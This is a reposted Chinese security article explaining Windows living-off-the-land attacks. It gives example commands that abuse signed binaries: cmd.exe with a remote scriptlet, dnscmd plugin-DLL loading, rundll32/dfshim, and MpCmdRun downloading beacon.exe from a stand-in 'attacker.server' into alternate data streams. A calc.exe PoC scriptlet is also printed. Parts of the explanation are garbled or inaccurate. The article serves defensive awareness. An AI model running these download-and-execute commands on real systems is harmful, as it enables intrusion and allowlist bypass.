Windows离地攻击分析 | xxxWindows离地攻击分析 – xxx
菜单

Windows离地攻击分析

三月 28, 2024 - FreeBuf

引言

“离地攻击”(Living Off The Land Attack)是一种在攻击中利用目标系统已存在的合法功能、工具或脚本的方法。这些攻击通常不需要下载外部恶意软件,而是利用目标系统已经具有的资源和功能来实施攻击,从而更难以检测和防御。

离地攻击(LotL)技术是指使用系统中已经存在或易于安装的二进制文件(如已签名的合法管理工具)来执行后渗透活动(post-exploitation activity)。

离地攻击达到的目的:离地攻击的目的是尽可能地减少攻击留下的痕迹,提高攻击的成功率,并使检测和防御变得更加困难。因此,对于安全团队来说,了解和监视这些离地攻击技术是非常重要的,以便及时检测和应对潜在的威胁。

举个例子:比如使用 PowerShell 或 Windows Management Instrumentation (WMI)。攻击者可能会利用这些工具来横向移动、收集信息、执行代码等,而不会引起系统安全软件的怀疑,因为这些工具在正常情况下是合法使用的。

Windows离地攻击分析

CMD.EXE

CMD(命令提示符)是 Windows 操作系统中的命令行解释器。它提供了一个交互式的命令行界面,允许用户输入命令来执行各种操作,例如管理文件和目录、运行程序、配置系统设置等。

所需权限:user

C:WindowsSystem32cmd.exe
C:WindowsSysWOW64cmd.exe

可用于的系统:

Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11

参考实际使用时命令:

cmd.exe /c echo regsvcjMy.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvcjMy.sct ^scrobj.dll > fakefile.doc:payload.bat

创建一个名为 “fakefile.doc” 的文件,并将一个命令写入其中。这个命令的目的是利用 regsvcjMy.exe 来执行一个注册表脚本文件,这个脚本文件来源于一个 URL(https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvcjMy.sct)。具体来说,这个脚本文件将以系统用户的身份运行一个名为 “scrobj.dll” 的文件。

在这个命令中,”/c” 表示执行命令并终止。echo命令用于创建fakefile.doc文件并写入内容。在写入的内容中,”^” 用于转义特殊字符,以确保它们被正确解释。最后,命令将写入一个名为 payload.bat 的批处理文件,其中包含用于执行上述注册表脚本文件的命令。

cmd执行命令请求的URL中的文件为:

<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- regsvcjMy /s /u /i:http://example.com/file.sct scrobj.dll -->

<!-- .sct files when downloaded, are executed from a path like this -->
<!-- Please Note, file extenstion does not matter -->
<!-- Though, the name and extension are arbitary.. -->
<!-- c:usersUSERappdatalocalmicrosoftwindowstemporary internet filescontent.ie52vcqsj3kfile[2].sct -->
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
<!-- You can either execute locally, or from a url -->
<script language="JScript">
<![CDATA[
// calc.exe should launch, this could be any arbitrary code.
// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>
</script>
</registration>
</scriptlet>

这个脚本会通过调用WScript.Shell对象的 Run 方法来执行calc.exe(Windows 计算器),并且这段 JScript 代码被包含在 CDATA 部分中,以防止 XML 解析器尝试解析其中的特殊字符。

在脚本的注释中还提到,SCT 文件在下载后会被保存到临时 Internet 文件夹,并且在当前研究的基础上,并不会写入任何注册表键,因为它会调用 “uninstall”。这意味着脚本可能只是用于执行一些特定的操作,而不是将自身添加到系统中。

DNSCMD.EXE

DNSCMD是 Windows 中用于管理 DNS 服务器的命令行工具。它允许管理员通过命令行执行各种 DNS 相关的操作,例如管理区域、记录、缓存等。

所需权限:DNS admin

C:WindowsSystem32Dnscmd.exe
C:WindowsSysWOW64Dnscmd.exe

可用于系统:

Windows 服务器

参考实际使用时命令:

dnscmd.exe dc1.lab.int /config /serverlevelplugindll \10.0.0.1dllwtf.dll

wtf.dll文件配置为 DNS 服务器dc1.lab.int的服务器级别插件,该 DLL 文件位于网络路径\10.0.0.1dll下。一旦配置完成,DNS 服务器将加载并执行这个 DLL 文件,以提供额外的功能或修改 DNS 服务器的行为。

Dfsvc.exe

dfsvc.exe是 Windows 中的一个可执行文件,它是ClickOnce部署服务的一部分。ClickOnce是微软提供的一种应用程序部署技术,可以用于快速、简便地部署.NET Framework 应用程序。主要作用是启动ClickOnce部署服务,并处理ClickOnce应用程序的下载、安装和更新过程。当用户尝试启动ClickOnce应用程序时,系统会调用dfsvc.exe来处理相关的任务。

所需权限:User

C:WindowsMicrosoft.NETFrameworkv2.0.50727Dfsvc.exe
C:WindowsMicrosoft.NETFramework64v2.0.50727Dfsvc.exe
C:WindowsMicrosoft.NETFrameworkv4.0.30319Dfsvc.exe
C:WindowsMicrosoft.NETFramework64v4.0.30319Dfsvc.exe

可用于系统:

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

参考实际使用时命令:

rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo

ShOpenVerbApplication函数是用于启动ClickOnce应用程序的函数之一。在这个命令中,它被调用以打开一个指定的 URL(http://www.domain.com/application/?param1=foo),这个URL是一个ClickOnce应用程序的入口点。

当这个命令被执行时,rundll32.exe会加载dfshim.dll,然后调用ShOpenVerbApplication函数,并将指定的URL作为参数传递给它。ShOpenVerbApplication函数会负责启动ClickOnce应用程序并打开指定的 URL。

rundll32.exe:

rundll32.exe是 Windows 系统自带的一个实用程序,用于运行 DLL(动态链接库)文件中的函数。它通常用于执行一些特定的系统函数,但也可以用于运行其他 DLL 文件中的函数。

AWL旁路攻击:

攻击者可能会利用rundll32.exe来执行恶意代码,这就是所谓的 “rundll32.exe AWL(应用白名单)旁路” 攻击。这种攻击利用了许多安全软件和系统策略的特点,即它们通常允许rundll32.exe执行,因为它是系统组件,并且会忽略运行的 DLL 文件的路径。因此,攻击者可以将恶意代码嵌入到 DLL 文件中,然后通过rundll32.exe来运行该 DLL 文件中的函数,从而绕过了应用程序的白名单限制。

MpCmdRun.exe

MpCmdRun.exe是 Windows Defender 命令行实用程序,用于执行各种 Windows Defender 安全软件的操作。这个命令行工具允许用户在命令行中执行与 Windows Defender 相关的任务,包括扫描计算机、更新病毒定义文件、配置 Windows Defender 设置等。

所需权限:User

C:ProgramDataMicrosoftWindows DefenderPlatform4.18.2008.4-0MpCmdRun.exe
C:ProgramDataMicrosoftWindows DefenderPlatform4.18.2008.7-0MpCmdRun.exe
C:ProgramDataMicrosoftWindows DefenderPlatform4.18.2008.9-0MpCmdRun.exe

可用于系统:Windows 10

参考实际使用时命令:

MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\temp\beacon.exe
copy "C:ProgramDataMicrosoftWindows DefenderPlatform4.18.2008.9-0MpCmdRun.exe" C:UsersPublicDownloadsMP.exe && chdir "C:ProgramDataMicrosoftWindows DefenderPlatform4.18.2008.9-0" && "C:UsersPublicDownloadsMP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:UsersPublicDownloadsevil.exe
MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:tempnicefile.txt:evil.exe

MpCmdRun.cmd命令实现:使用了 Windows Defender 命令行实用程序MpCmdRun.exe,并指定了参数-DownloadFile,该参数告诉 Windows Defender 下载文件的操作。然后,命令指定了要下载文件的 URL-url https://attacker.server/beacon.exe,以及文件应该被保存的路径-path c:\temp\beacon.exe

copy命令实现:这个命令的作用是将MpCmdRun.exe文件复制到C:UsersPublicDownloads目录中,并将其重命名为MP.exe,然后从恶意服务器下载名为beacon.exe的文件,并保存到C:UsersPublicDownloads目录中,命名为evil.exe

DownloadFile命令实现:将远程服务器上的beacon.exe文件下载到本地系统,但将其保存为c:tempnicefile.txt文件的备用数据流中,而不是直接保存为evil.exe文件。

结语

离地攻击(Living Off The Land Attack)是一种隐蔽、难以检测的攻击方法,利用目标系统已存在的合法功能、工具或脚本来实施攻击。本文介绍了几种常见的 Windows 离地攻击技术,包括CMD.EXEDNSCMD.EXEDfsvc.exeMpCmdRun.exe等,并给出了实际使用时的命令示例和相关解释。了解和监视这些离地攻击技术对于提高系统安全性至关重要,可以帮助安全团队及时发现并应对潜在的威胁。在日常的安全实践中,建议加强对系统组件和工具的监控和审查,及时更新安全策略,并提高对潜在威胁的警惕性,以确保系统的安全性和稳定性。

参考链接:

https://twitter.com/Mr_0rng/status/1601408154780446721

https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

https://twitter.com/NotMedic/status/1301506813242867720

# apt攻击 # apt # 后渗透 # Windows系统 # 后渗透权限维持
Windows离地攻击分析

Windows离地攻击分析 已在FreeBuf发表 0 篇文章
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51